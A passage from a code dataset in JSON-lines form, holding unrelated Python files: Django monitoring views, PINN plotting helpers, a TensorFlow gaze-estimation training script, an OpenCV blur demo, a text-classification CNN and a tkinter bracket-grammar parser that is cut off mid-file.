table.append({'client': client, 'tr': tr})\n AccessLog.objects.create(ip=get_ip(request), target='serverlist:index')\n return render(request, 'serverlist/index.html', {'table': table})\n\ndef client(request, pk):\n client = get_object_or_404(Client.objects, pk=pk)\n client_reports = ClientReport.objects.filter(client=client).order_by('-id')\n paginator = Paginator(client_reports, 100)\n client_reports = paginator.get_page(request.GET.get('page'))\n AccessLog.objects.create(ip=get_ip(request), target='serverlist:client', param=pk)\n return render(request, 'serverlist/client.html', {'client': client, 'client_reports': client_reports})\n\ndef clientchart(request, pk):\n client = get_object_or_404(Client.objects, pk=pk)\n client_reports = ClientReport.objects.filter(client=client).filter(created_at__gt=datetime.now() - timedelta(days=7)).order_by('-created_at')\n data = []\n for report in client_reports:\n day = (report.created_at.timestamp() - timezone.now().timestamp()) / 86400.\n report = json.loads(report.report)\n data.append({\n 'day': day,\n 'cpu': report['cpu_percent'],\n 'virtual_memory': report['virtual_memory'][2],\n 'gpu': [{\n 'name': dev['nvmlDeviceGetName'],\n 'util': dev['nvmlDeviceGetUtilizationRates']['gpu'],\n 'memory': dev['nvmlDeviceGetMemoryInfo']['used'] / dev['nvmlDeviceGetMemoryInfo']['total'] * 100,\n 'temperature': dev.get('nvmlDeviceGetTemperature', None),\n } for dev in report.get('nvmlDevices', [])],\n })\n AccessLog.objects.create(ip=get_ip(request), target='serverlist:clientchart', param=pk)\n return render(request, 'serverlist/clientchart.html', {'client': client, 'data': json.dumps(data)})\n\ndef clientreport(request, client_id, report_id):\n client_report = get_object_or_404(ClientReport.objects.select_related('client'), id=report_id, client_id=client_id)\n report_str = pprint.pformat(json.loads(client_report.report), width=160)\n AccessLog.objects.create(ip=get_ip(request), target='serverlist:clientreport', param=report_id)\n return render(request, 'serverlist/clientreport.html', {'client_report': client_report, 'report_str': report_str})\n\n@csrf_exempt\ndef recvreport(request):\n client_id = request.POST.get('client_id')\n client_secret = request.POST.get('client_secret')\n report = request.POST.get('report')\n try:\n report = json.loads(report)\n version = report.get('version')\n assert isinstance(version, type(u''))\n except Exception:\n return HttpResponseBadRequest()\n ip = get_ip(request)\n client = Client.objects.filter(client_id=client_id, client_secret=client_secret).first()\n if client is None:\n unknown_report = UnknownReport(client_id=client_id, client_secret=client_secret, ip=ip, version=version)\n unknown_report.save()\n raise Http404\n else:\n client_report = ClientReport(client=client, ip=ip, version=version, report=json.dumps(report, sort_keys=True))\n client_report.save()\n return JsonResponse({'error': 0, 'msg': 'ok'}, json_dumps_params={'sort_keys': True})\n","repo_name":"thu-media/mediaserver","sub_path":"mediaserver/serverlist/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7931,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"14515387049","text":"\"\"\"\nDefines plotting functions for 2D FBPINN / PINN problems\n\nThis module is used by plot_trainer.py (and subsequently trainers.py)\n\"\"\"\n\nimport matplotlib.pyplot as plt\n\nfrom fbpinns.plot_trainer_1D import _plot_setup, _to_numpy\n\ndef _plot_test_im(u_test, xlim, ulim, n_test, it=None):\n u_test = u_test.reshape(n_test)\n if it is not None:\n u_test = u_test[:,:,it]# for 3D\n plt.imshow(u_test.T,# transpose as jnp.meshgrid uses indexing=\"ij\"\n origin=\"lower\", extent=(xlim[0][0], xlim[1][0], xlim[0][1], xlim[1][1]),\n cmap=\"viridis\", vmin=ulim[0], vmax=ulim[1])\n plt.colorbar()\n plt.xlim(xlim[0][0], xlim[1][0])\n plt.ylim(xlim[0][1], xlim[1][1])\n plt.gca().set_aspect(\"equal\")\n\n@_to_numpy\ndef plot_2D_FBPINN(x_batch_test, u_exact, u_test, us_test, ws_test, us_raw_test, x_batch, all_params, i, active, decomposition, n_test):\n\n xlim, ulim = _plot_setup(x_batch_test, u_exact)\n xlim0 = x_batch_test.min(0), x_batch_test.max(0)\n\n f = plt.figure(figsize=(8,10))\n\n # plot domain + x_batch\n plt.subplot(3,2,1)\n plt.title(f\"[{i}] Domain decomposition\")\n plt.scatter(x_batch[:,0], x_batch[:,1], alpha=0.5, color=\"k\", s=1)\n decomposition.plot(all_params, active=active, create_fig=False)\n plt.xlim(xlim[0][0], xlim[1][0])\n plt.ylim(xlim[0][1], xlim[1][1])\n plt.gca().set_aspect(\"equal\")\n\n # plot full solutions\n plt.subplot(3,2,2)\n plt.title(f\"[{i}] Difference\")\n _plot_test_im(u_exact - u_test, xlim0, ulim, n_test)\n\n plt.subplot(3,2,3)\n plt.title(f\"[{i}] Full solution\")\n _plot_test_im(u_test, xlim0, ulim, n_test)\n\n plt.subplot(3,2,4)\n plt.title(f\"[{i}] Ground truth\")\n _plot_test_im(u_exact, xlim0, ulim, n_test)\n\n # plot raw hist\n plt.subplot(3,2,5)\n plt.title(f\"[{i}] Raw solutions\")\n plt.hist(us_raw_test.flatten(), bins=100, label=f\"{us_raw_test.min():.1f}, {us_raw_test.max():.1f}\")\n plt.legend(loc=1)\n plt.xlim(-5,5)\n\n plt.tight_layout()\n\n return ((\"test\",f),)\n\n@_to_numpy\ndef plot_2D_PINN(x_batch_test, u_exact, u_test, u_raw_test, x_batch, all_params, i, n_test):\n\n xlim, ulim = _plot_setup(x_batch_test, u_exact)\n xlim0 = x_batch.min(0), x_batch.max(0)\n\n f = plt.figure(figsize=(8,10))\n\n # plot x_batch\n plt.subplot(3,2,1)\n plt.title(f\"[{i}] Training points\")\n plt.scatter(x_batch[:,0], x_batch[:,1], alpha=0.5, color=\"k\", s=1)\n plt.xlim(xlim[0][0], xlim[1][0])\n plt.ylim(xlim[0][1], xlim[1][1])\n plt.gca().set_aspect(\"equal\")\n\n # plot full solution\n plt.subplot(3,2,2)\n plt.title(f\"[{i}] Difference\")\n _plot_test_im(u_exact - u_test, xlim0, ulim, n_test)\n\n plt.subplot(3,2,3)\n plt.title(f\"[{i}] Full solution\")\n _plot_test_im(u_test, xlim0, ulim, n_test)\n\n plt.subplot(3,2,4)\n plt.title(f\"[{i}] Ground truth\")\n _plot_test_im(u_exact, xlim0, ulim, n_test)\n\n # plot raw hist\n plt.subplot(3,2,5)\n plt.title(f\"[{i}] Raw solution\")\n plt.hist(u_raw_test.flatten(), bins=100, label=f\"{u_raw_test.min():.1f}, {u_raw_test.max():.1f}\")\n plt.legend(loc=1)\n plt.xlim(-5,5)\n\n plt.tight_layout()\n\n return ((\"test\",f),)\n\n\n\n\n\n\n\n","repo_name":"benmoseley/FBPINNs","sub_path":"fbpinns/plot_trainer_2D.py","file_name":"plot_trainer_2D.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"69"} +{"seq_id":"10955675131","text":"\"\"\"\r\nCreated on Sun Mar 24 17:39:43 2019\r\n\r\n\r\nThis code is for the SDPII project\r\n\r\n\r\n@author: AbdAlla Hefny\r\n\"\"\"\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom tensorflow.python.framework import ops\r\nimport matplotlib.pyplot as plt\r\n#from IPython import get_ipython\r\n#get_ipython().run_line_magic('matplotlib', 'inline')\r\nimport os\r\nimport sys\r\nimport configparser\r\nfrom conv_utils import read_dataset, create_one_hot, initialize_parameters, forward_propagation, shuffle_dataset\r\n\r\nconfig = configparser.ConfigParser()\r\nconfig.read('ET_config.ini')\r\nuser_name = config['End User Section']['name of the user directory']\r\nexamples_per_class_train = int(config['End User Section']['number of frames for training'])\r\nexamples_per_class_test = int(config['End User Section']['number of frames for testing'])\r\nplot_f = int(config['End User Section']['plot flag'])\r\nprint_f = int(config['End User Section']['print flag'])\r\ndisplay_step = int(config['End User Section']['display step'])\r\nplot_flag = True\r\nprint_cost = True\r\nif not (plot_f):\r\n plot_flag = False\r\nif not(print_f):\r\n print_cost = False\r\n# Training Parameters\r\nlearning_rate = 0.001\r\nnum_steps = 100 # epochs\r\n#batch_size = 1 # No batches\r\n\r\n\r\n\r\n# Input & Output Parameters\r\nn_H0 = 64\r\nn_W0 = 64\r\nn_C0 = 3\r\nclasses = ['right', 'forward', 'left', 'closed']\r\n# Model Architecture\r\nnum_conv_layers = 2\r\nfilters=[3,3]\r\nchannels=[16,12]\r\nstrides= [1, 1]\r\npools = [4, 4]\r\nh_layer_n = 16 # number of neurons in the hidden FC layer\r\n\r\n\r\n# Make sure that the training dataset exists\r\n# If not, the program terminates\r\nnewpath = user_name + '/Reye'\r\nif not os.path.exists(newpath):\r\n print(\"You should first have a training dataset for this user....\")\r\n print(\"Please run ET_daq.py file to collect the dataset....\")\r\n sys.exit()\r\nif not os.listdir(newpath) :\r\n print(\"Directory containig training dataset is empty...\")\r\n print(\"The dataset may be deleted or placed in another directory....\")\r\n print(\"Please place the dataset in the correct path, or you may run the ET_daq.py file to re-collect the dataset....\")\r\n sys.exit()\r\n\r\n# If the dataset exists, create directory to save the model \r\nnewpath = user_name + '/Reye/model_param'\r\nif not os.path.exists(newpath):\r\n os.makedirs(newpath) \r\n \r\n## setup the training dataset and labels\r\nnum_classes = len(classes)\r\n# Load the training and testing dataset of the user \r\nX_train, X_test = read_dataset(user_name, examples_per_class_train, examples_per_class_test, classes)\r\n# create one-hot vector for the training dataset\r\nY_train, Y_test = create_one_hot(examples_per_class_train, examples_per_class_test)\r\n\r\n## setup tensorflow graph \r\nops.reset_default_graph()\r\n# create placeholders \r\nX = tf.placeholder(tf.float32, shape=(None, n_H0, n_W0, n_C0), name = \"X\")\r\nY = tf.placeholder(tf.float32, shape=(None, num_classes), name = \"Y\")\r\n# initialize training parameters\r\nparameters = initialize_parameters(num_conv_layers, n_C0, filters, channels)\r\n# Define the forward pass in the tensorflow graph\r\nZ= forward_propagation(X, parameters, num_conv_layers, strides, pools, h_layer_n, num_classes)\r\n# Compute cost: Add cost function to tensorflow graph\r\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits = Z, labels = Y))\r\n# Define Tensorflow Optimizer\r\noptimizer = tf.train.AdamOptimizer(learning_rate = learning_rate).minimize(cost)\r\n# Evaluate Model\r\npredict_op = tf.argmax(Z, 1)\r\ncorrect_prediction = tf.equal(predict_op, tf.argmax(Y, 1)) \r\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\r\nsaver = tf.train.Saver()\r\n# Initialize all the variables globally\r\ninit = tf.global_variables_initializer()\r\n\r\ncosts =[]\r\n# Start training\r\nwith tf.Session() as sess:\r\n\r\n # Run the initializer\r\n sess.run(init)\r\n for step in range(num_steps):\r\n # shuffle the training set for each new epoch\r\n input_x, input_y = shuffle_dataset(X_train, Y_train)\r\n #print(type(batch_x))\r\n _, batch_cost = sess.run([optimizer, cost], feed_dict={X: input_x, Y: input_y})\r\n if print_cost == True and step % display_step == 0:\r\n costs.append(batch_cost)\r\n print (\"After step %i, Cost: %f\" % (step, batch_cost))\r\n print(\"Optimization Finished!\")\r\n saver.save(sess, './' + user_name + '/model_param/my_sdp_model')\r\n # plot the cost if required\r\n if (plot_flag):\r\n plt.plot(np.squeeze(costs))\r\n plt.ylabel('cost')\r\n plt.xlabel('iterations (per tens)')\r\n plt.title(\"Learning rate =\" + str(learning_rate))\r\n plt.show()\r\n \r\n # Calculate accuracy for training and testing sets \r\n #X_test, Y_test = shuffle_dataset(X_test, Y_test)\r\n print(\"Training Accuracy:\", \\\r\n sess.run(accuracy, feed_dict={X: X_train ,Y: Y_train}))\r\n print(\"Testing Accuracy:\", \\\r\n sess.run(accuracy, feed_dict={X: X_test ,Y: Y_test}))\r\n\r\n ","repo_name":"AbdallaHefny/gaze-estimator","sub_path":"ET_train.py","file_name":"ET_train.py","file_ext":"py","file_size_in_byte":4937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5737198822","text":"import cv2\nimport matplotlib.pyplot as plt\n\n\ndef cvfilter():\n img = cv2.imread('Practice5_ImageFilter/face.jpg', 0)\n blur = cv2.blur(img, (5, 5))\n median_blur = cv2.medianBlur(img, 5)\n gaussian_blur = cv2.GaussianBlur(img, (5, 5), 0)\n\n fig, axes = plt.subplots(2, 2)\n axes[0, 0].imshow(img, 'gray')\n axes[0, 1].imshow(blur, 'gray')\n axes[1, 0].imshow(median_blur, 'gray')\n axes[1, 1].imshow(gaussian_blur, 'gray')\n\n axes[0, 0].set_title('Original')\n axes[0, 1].set_title('Mean Filter')\n axes[1, 0].set_title('Median Filter')\n axes[1, 1].set_title('Gaussian Filter')\n fig.suptitle(\"Image filters\", fontsize=16)\n\n plt.show()\n\nif __name__ == \"__main__\":\n cvfilter()\n","repo_name":"Joinn99/CV_Course","sub_path":"Practice5_ImageFilter/cvfilter.py","file_name":"cvfilter.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34352202996","text":"\n# coding: utf-8\n\n# Mojule Import \nimport numpy as np\nfrom gensim.models.word2vec import Word2Vec\nfrom gensim.models import KeyedVectors\nimport MeCab\nfrom keras.preprocessing import sequence\nimport pickle\nimport time\nfrom multiprocessing import Pool\nimport multiprocessing as multi\nimport pandas as pd\nimport importlib\nimport matplotlib.pyplot as plt\nget_ipython().magic('matplotlib inline')\n\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"1\"\n\nimport tensorflow as tf\nfrom sklearn.utils import shuffle\nfrom sklearn.metrics import f1_score\nfrom sklearn.model_selection import train_test_split\nimport copy\n\nclass CNN(object):\n \n def __init__(self,tagger,model,filter_sizes=[3,4,5],n_epochs=100):\n self.tagger = tagger\n self.model = model\n self.filter_sizes = filter_sizes\n self.padding_num = max(filter_sizes) - 1\n self.n_epochs = n_epochs\n self.Results = pd.DataFrame(index=range(n_epochs),columns=['loss','Accuracy','confusion_matrix'])\n self.maxlen = 0\n self.n_classes = 0\n self.cnn = None\n \n \n def _tokenize(self,text): #形態素解析\n tagger = self.tagger\n sentence = []\n node = tagger.parse(text)\n if node == None: #parseの最大文字数を上回った場合、200万文字まで.\n node = tagger.parse(text[:2000000])\n else:\n pass\n node = node.split(\"\\n\")\n for i in range(len(node)): #単語上限数を設定\n feature = node[i].split(\"\\t\")\n if feature[0] == \"EOS\":\n break\n hinshi = feature[3].split(\"-\")[0]\n if \"名詞\" in hinshi:\n sentence.append(feature[2])\n elif \"形容詞\" in hinshi:\n sentence.append(feature[2])\n elif \"動詞\" in hinshi:\n sentence.append(feature[2])\n elif \"形容動詞\" in hinshi:\n sentence.append(feature[2])\n elif \"連体詞\" in hinshi:\n sentence.append(feature[2]) \n elif \"助詞\" in hinshi:\n sentence.append(feature[2]) \n return sentence\n\n def getVector(self,text): #文 (⇒単語) ⇒ 行列\n _tokenize, model = self._tokenize, self.model\n vocabs = model.vocab\n texts = _tokenize(text)\n emb = [model.word_vec(x) for x in texts if x in vocabs]\n return np.vstack(tuple(emb)) if len(emb) != 0 else np.zeros((1,model.vector_size)) \n #word2vecモデルの語彙にどの単語もない文は(1,model.vector_size)のゼロベクトル.\n\n def post_padding(self,text): #文 (⇒行列) ⇒ 文の区切りにゼロパディングを施した行列\n getVector, model, padding_num = self.getVector, self.model, self.padding_num\n emb = getVector(text)\n padded = np.vstack((emb,np.zeros((padding_num,model.vector_size))))\n return padded\n \n def text2matrix(self,text_list): #入力 (文章ごとのnumpy配列) ⇒ 行列\n post_padding = self.post_padding\n matrixes = [post_padding(text) for text in text_list]\n return np.vstack(tuple(matrixes))\n \n def mat2data(self,mat,maxlen): # 入力の行数を揃えるための関数\n data = sequence.pad_sequences(mat,maxlen=maxlen,padding=\"post\",truncating=\"post\",dtype=\"float32\")\n data = data.astype(np.float32)\n return data\n \n def make_input(self,labels,texts,train_rate=0.8):\n text2matrix, mat2data = self.text2matrix, self.mat2data\n \n # labels ⇒ onehot表現 に変換\n cat2id = dict(zip(np.unique(labels),range(len(np.unique(labels)))))\n id2cat = dict(zip(range(len(np.unique(labels))),np.unique(labels)))\n data_labels=np.array([cat2id[l] for l in labels])\n def onehot(data):\n Z = np.zeros((len(data),len(cat2id)))\n Z[np.arange(len(data)), data] = 1\n return Z\n onehot_datalabels = onehot(data_labels)\n \n #文章ごとの行列を格納した配列\n mat_list = np.array([text2matrix(text) for text in texts])\n # maxlen (最大行数)を調べる.\n maxlen = max([mat.shape[0] for mat in mat_list])\n self.maxlen = maxlen\n \n # 訓練データとテストデータに分ける.\n num_index = int(train_rate * len(onehot_datalabels))\n index =set(np.random.choice(range(len(onehot_datalabels)),num_index,replace=False))\n unlabeled_index = list(set(range(len(onehot_datalabels)))-index)\n labeled_index = list(index)\n \n train_MatList = mat_list[labeled_index]\n test_MatList = mat_list[unlabeled_index]\n \n \n train_y = onehot_datalabels[labeled_index]\n test_y = onehot_datalabels[unlabeled_index]\n \n return [train_MatList, test_MatList, train_y, test_y, maxlen]\n \n def fit(self,labels,texts,train_rate=0.8):\n make_input, model, mat2data, filter_sizes, n_epochs = self.make_input, self.model, self.mat2data, self.filter_sizes, self.n_epochs\n train_MatList, test_MatList, train_y, test_y, maxlen = make_input(labels,texts,train_rate)\n maxlen = self.maxlen\n \n n_classes = len(np.unique(labels))\n self.n_classes = n_classes\n \n rng = np.random.RandomState(1234)\n random_state = 42\n \n cnn = TextCNN(\n sequence_length=maxlen,\n num_classes=train_y.shape[1],\n embedding_size=model.vector_size,\n filter_sizes=filter_sizes,\n num_filters=128,\n l2_reg_lambda=0.0\n )\n self.cnn = cnn\n \n # cnnクラスの引数を辞書にして保存\n arg_dic = {'sequence_length':maxlen,\n 'num_classes':train_y.shape[1],\n 'embedding_size':model.vector_size,\n 'filter_sizes':filter_sizes,\n 'num_filters':128,\n 'l2_reg_lambda':0.0}\n with open('model/arg_dic.pickle','wb') as f:\n pickle.dump(arg_dic,f)\n \n\n \n # Define Training procedure\n global_step = tf.Variable(0, name=\"global_step\", trainable=False)\n optimizer = tf.train.AdamOptimizer(1e-3)\n grads_and_vars = optimizer.compute_gradients(cnn.loss)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step)\n\n \n batch_size = 400\n n_batches = len(train_MatList) // batch_size\n \n Results = self.Results\n \n sess = tf.Session()\n init = tf.global_variables_initializer()\n sess.run(init)\n current_loss = float('inf')\n saver = tf.train.Saver()\n\n print(\"学習開始\") \n for epoch in range(n_epochs):\n print(\"EPOCH:\"+str(epoch+1))\n train_MatList, train_y = shuffle(train_MatList, train_y, random_state=random_state)\n current_step = tf.train.global_step(sess, global_step)\n\n for i in range(n_batches):\n\n start = i * batch_size\n end = start + batch_size\n\n ML_batch = train_MatList[start:end]\n x_batch = mat2data(ML_batch,maxlen)\n y_batch = train_y[start:end]\n\n feed_dict = {\n cnn.input_x: x_batch,\n cnn.input_y: y_batch,\n cnn.dropout_keep_prob: 0.5,\n }\n\n _, step, loss, accuracy = sess.run(\n [train_op, global_step, cnn.loss, cnn.accuracy],\n feed_dict)\n \n del x_batch\n \n #テストもバッチ処理(メモリの関係)\n test_MatList, test_y = shuffle(test_MatList, test_y, random_state=random_state)\n test_Num = len(test_MatList)\n t_batch_size = 1000\n t_batches = test_Num // t_batch_size\n losses = []\n Accuracies = []\n Matrix = np.zeros((n_classes,n_classes))\n \n for j in range(t_batches):\n t_start = j * t_batch_size\n t_end = t_start + t_batch_size\n \n test_MatList_batch = test_MatList[t_start:t_end]\n test_X_batch = mat2data(test_MatList_batch,maxlen)\n test_y_batch = test_y[t_start:t_end]\n\n feed_dict = {\n cnn.input_x: test_X_batch,\n cnn.input_y: test_y_batch,\n cnn.dropout_keep_prob: 1.0,\n }\n step, loss_batch, accuracy_batch, confusion_matrix_batch = sess.run(\n [global_step, cnn.loss, cnn.accuracy, cnn.confusion_matrix],\n feed_dict)\n \n losses.append(loss_batch)\n Accuracies.append(accuracy_batch)\n Matrix += confusion_matrix_batch\n \n \n loss = np.average(losses)\n accuracy = np.average(Accuracies)\n confusion_matrix = Matrix\n \n \n\n print(\" epoch {}, loss {:g}, acc {:g}\".format( step, loss, accuracy))\n Results.loc[epoch,'loss'] = loss\n Results.loc[epoch,'Accuracy'] = accuracy\n Results.loc[epoch,'confusion_matrix'] = confusion_matrix\n if loss <= current_loss:\n current_loss = loss\n saver.save(sess,\"model/Best_model.ckpt\")\n # 最もlossが小さかったモデルはファイルに保存されている.\n \n return None\n \n def predict(self,texts):\n text2matrix, mat2data, model = self.text2matrix, self.mat2data, self.model\n \n with open('model/arg_dic.pickle','rb') as f:\n arg_dic = pickle.load(f)\n maxlen, n_classes = arg_dic['sequence_length'], arg_dic['num_classes']\n \n \n if self.cnn is None:\n cnn = TextCNN(**arg_dic)\n self.cnn = cnn\n else:\n cnn = self.cnn\n \n \n saver = tf.train.Saver()\n Best_sess = tf.InteractiveSession()\n saver.restore(Best_sess, \"model/Best_model.ckpt\")\n \n \n #文章ごとの行列を格納した配列\n mat_list = np.array([text2matrix(text) for text in texts])\n input_X = mat2data(mat_list,maxlen)\n input_Y = np.zeros((len(texts),n_classes))\n \n feed_dict = {\n cnn.input_x: input_X,\n cnn.input_y: input_Y,\n cnn.dropout_keep_prob: 1.0,\n }\n \n predictions, probabilities = Best_sess.run(\n [cnn.predictions, tf.nn.softmax(cnn.scores)],\n feed_dict) \n \n return predictions, probabilities\n \n \n \n \n\n\n\n\n\n\n\nclass TextCNN(object):\n \n\n \n \n \"\"\"\n A CNN for text classification.\n Uses an embedding layer, followed by a convolutional, max-pooling and softmax layer.\n \"\"\"\n def __init__(\n self, sequence_length, num_classes,embedding_size,\n filter_sizes, num_filters, l2_reg_lambda=0.0):\n\n # Placeholders for input, output and dropout\n self.input_x = tf.placeholder(tf.float32, [None, sequence_length, embedding_size], name=\"input_x\")\n self.input_y = tf.placeholder(tf.float32, [None, num_classes], name=\"input_y\")\n self.dropout_keep_prob = tf.placeholder(tf.float32, name=\"dropout_keep_prob\")\n\n # Keeping track of l2 regularization loss (optional)\n l2_loss = tf.constant(0.0)\n\n # Embedding layer\n with tf.device('/cpu:0'), tf.name_scope(\"embedding\"):\n self.embedded_chars_expanded = tf.expand_dims(self.input_x, -1) #畳み込みするためにレイヤーを1にする\n \n # Create a convolution + avgpool layer for each filter size\n pooled_outputs = []\n for i, filter_size in enumerate(filter_sizes):\n with tf.name_scope(\"conv-maxpool-%s\" % filter_size):\n # Convolution Layer\n filter_shape = [filter_size, embedding_size, 1, num_filters]\n \n W = tf.Variable(tf.truncated_normal(filter_shape, stddev=0.1), name=\"W\")\n b = tf.Variable(tf.constant(0.1, shape=[num_filters]), name=\"b\")\n conv = tf.nn.conv2d(\n self.embedded_chars_expanded,\n W,\n strides=[1, 1, 1, 1],\n padding=\"VALID\",\n name=\"conv\")\n \n # Apply nonlinearity\n h = tf.nn.relu(tf.nn.bias_add(conv, b), name=\"relu\")\n # Avgpooling over the outputs\n pooled = tf.nn.max_pool(\n h,\n ksize=[1, sequence_length - filter_size + 1, 1, 1],\n strides=[1, 1, 1, 1],\n padding='VALID',\n name=\"pool\")\n pooled_outputs.append(pooled)\n\n # Combine all the pooled features\n num_filters_total = num_filters * len(filter_sizes)\n self.h_pool = tf.concat(pooled_outputs, 3)\n self.h_pool_flat = tf.reshape(self.h_pool, [-1, num_filters_total])\n\n # Add dropout\n with tf.name_scope(\"dropout\"):\n self.h_drop = tf.nn.dropout(self.h_pool_flat, self.dropout_keep_prob)\n\n # Final (unnormalized) scores and predictions\n with tf.name_scope(\"output\"):\n W = tf.get_variable(\n \"W\",\n shape=[num_filters_total, num_classes],\n initializer=tf.contrib.layers.xavier_initializer())\n b = tf.Variable(tf.constant(0.1, shape=[num_classes]), name=\"b\")\n l2_loss += tf.nn.l2_loss(W)\n l2_loss += tf.nn.l2_loss(b)\n self.scores = tf.nn.xw_plus_b(self.h_drop, W, b, name=\"scores\")\n self.predictions = tf.argmax(self.scores, 1, name=\"predictions\")\n\n # CalculateMean cross-entropy loss\n with tf.name_scope(\"loss\"):\n losses = tf.nn.softmax_cross_entropy_with_logits(logits=self.scores, labels=self.input_y)\n self.loss = tf.reduce_mean(losses) + l2_reg_lambda * l2_loss\n\n # Accuracy\n with tf.name_scope(\"accuracy\"):\n correct_predictions = tf.equal(self.predictions, tf.argmax(self.input_y, 1))\n self.accuracy = tf.reduce_mean(tf.cast(correct_predictions, \"float\"), name=\"accuracy\")\n \n #Confusion_Matrix\n with tf.name_scope(\"confusion_matrix\"):\n self.confusion_matrix = tf.confusion_matrix(labels=tf.argmax(self.input_y,1),predictions=self.predictions,name=\"confusion_matrix\")\n\n\n","repo_name":"WataruKudo0914/CNN_textclassifier","sub_path":"CNN_text.py","file_name":"CNN_text.py","file_ext":"py","file_size_in_byte":14796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"24659008517","text":"from tkinter import *\nroot = Tk()\n\nroot.geometry(\"1800x800\")\nroot.title(\"Синтаксический анализатор\")\nstring = \"\"\nindex = 0\n\ndef Hello(event):\n \n global index\n global string\n string = \"\"\n index = 0\n string = enter_field.get()\n try:\n PSZ()\n label_result.config(text=\"Введённая скобочная запись соответствует заданной грамматике\", font=(\"Courier\", 18, \"bold\"), fg=\"green\")\n label_result.place(x=350, y=420)\n\n except Exception as e:\n label_result.config(text=e, font=(\"Courier\", 18, \"bold\"), fg=\"red\")\n\ndef ending():\n global index, string\n if(string[index] in \"+-*/\"):\n sign()\n KSZ()\n ending()\n\ndef KSZ():\n global index, string\n if(string[index] == '{'):\n index += 1\n SZ()\n FSZ()\n if(not string[index] == '}'): raise Exception(f\"Error KSZ {index} {string[index]}\")\n index += 1\n elif(string[index] == '('):\n index += 1\n letter()\n sign()\n letter()\n KRSZ()\n if(not string[index] == ')'): raise Exception(f\"Error KSZ {index} {string[index]}\")\n index += 1\n elif(string[index] == '['):\n index += 1\n KVSZ()\n if(not string[index] == ']'): raise Exception(f\"Error KSZ {index} {string[index]}\")\n index += 1\n else: raise Exception(f\"Error KSZ {index} {string[index]}\")\n\ndef DSZ():\n global index, string\n if(string[index] == '+-/*'):\n sign()\n if(not string[index]): raise Exception(f\"Error DSZ {index} {string[index]}\")\n index += 1\n letter()\n sign()\n letter()\n KRSZ()\n if(not string[index] == ')'): raise Exception(f\"Error DSZ {index} {string[index]}\")\n index += 1\n DSZ()\n\n\ndef KVSZ():\n global index, string\n if(string[index].isalpha()):\n letter()\n sign()\n letter()\n KRSZ()\n elif(string[index] == '('):\n index += 1\n letter()\n sign()\n letter()\n KRSZ()\n if(not string[index] == ')'): raise Exception(f\"Error KVSZ {index} {string[index]}\")\n index += 1\n DSZ()\n else: raise Exception(f\"Error KVSZ {index} {string[index]}\")\n\ndef KRSZ():\n global index, string\n if(string[index] in \"+-/*\"):\n sign()\n letter()\n KRSZ()\n\ndef FSZ():\n global index, string\n if(string[index] in '+-/*'):\n sign()\n KO()\n FSZ()\n\ndef KO():\n global index, string\n if(string[index] == '('):\n index += 1\n letter()\n sign()\n letter()\n KRSZ()\n if(not string[index] == ')'): raise Exception(f\"Error KO {index} {string[index]}\")\n index += 1\n elif(string[index] == '['):\n index += 1\n KVSZ()\n if(not string[index] == ']'): raise Exception(f\"Error KO {index} {string[index]}\")\n index += 1\n else: raise Exception(f\"Error KO {index} {string[index]}\")\n\ndef SZ():\n global index, string\n if(string[index] == '('):\n index += 1\n letter()\n sign()\n letter()\n KRSZ()\n if(not string[index] == ')'): raise Exception(f\"Error SZ {index} {string[index]}\")\n index += 1\n sign()\n SZ()\n elif(string[index] == '['):\n index += 1\n KVSZ()\n if(not string[index] == ']'): raise Exception(f\"Error SZ {index} {string[index]}\")\n index += 1\n else: raise Exception(f\"Error SZ {index} {string[index]}\")\n\n\ndef PSZ():\n global index, string\n if(string[index] == '{'):\n index += 1\n SZ()\n FSZ()\n if(not string[index] == '}'): raise Exception(f\"Error PSZ {index} {string[index]}\")\n index += 1\n ending()\n elif(string[index] == '('):\n index += 1\n letter()\n sign()\n letter()\n KRSZ()\n if(not string[index] == ')'): raise Exception(f\"Error PSZ {index} {string[index]}\")\n index += 1\n ending()\n elif(string[index] == '['):\n index += 1\n KVSZ()\n if(not string[index] == ']'): raise Exception(f\"Error PSZ {index} {string[index]}\")\n index += 1\n ending()\n elif(string[index].isalpha()): \n letter()\n KRSZ()\n else: raise Exception(f\"Error PSZ {index} {string[index]}\")\n\ndef sign():\n global index, string\n if(not string[index] in \"+/-*\"): raise Exception(f\"Error sign {index} {string[index]}\")\n index += 1\n\ndef letter():\n global index, string\n if(not string[index].isalpha()): raise Exception(f\"Error letter {index} {string[index]}\")\n index += 1\n\n\n\n\n\n \n\nbtn = Button(root, #родительское окно\n text=\"Проверить\", #надпись на кнопке\n width=20,height=3, #ширина и высота\n bg=\"white\",fg=\"black\", font=(\"Courier\", 18, \"bold\")) #цвет фона и надписи\n\nbtn.bind(\"<Button-1>\", Hello) #при нажатии ЛКМ на кнопку вызывается функция Hello\nbtn.pack() #расположить кнопку на главном окне\nbtn.place(x=\"600\", y=\"310\")\n\ninf_frame = Frame(root)\ninf_frame.config(width=1500, background=\"white\", height=200)\ninf_frame.pack()\ninf_frame.place(x=\"15\", y=\"5\")\n\ninf_label_1 = Label(inf_frame, text=\"Синтаксический анализатор грамматики, основанной на трёх видах скобок с применением букв и знаков операций.\")\ninf_label_1.configure(font=(\"Courier\", 18, \"bold\"), background=\"white\")\ninf_label_1.pack()\ninf_label_1.place(x=0)\n\ninf_label_2 = Label(inf_frame, text=\"Формулировка правил:\")\ninf_label_2.configure(font=(\"Courier\", 18, \"bold\"), background=\"white\")\ninf_label_2.pack()\ninf_label_2.place(x=0, y=25)\n\ninf_label_3 = Label(inf_frame, text=\"1) Правильная скобочная запись арифметических выражений с тремя видами скобок.\")\ninf_label_3.configure(font=(\"Courier\", 14, \"bold\"), 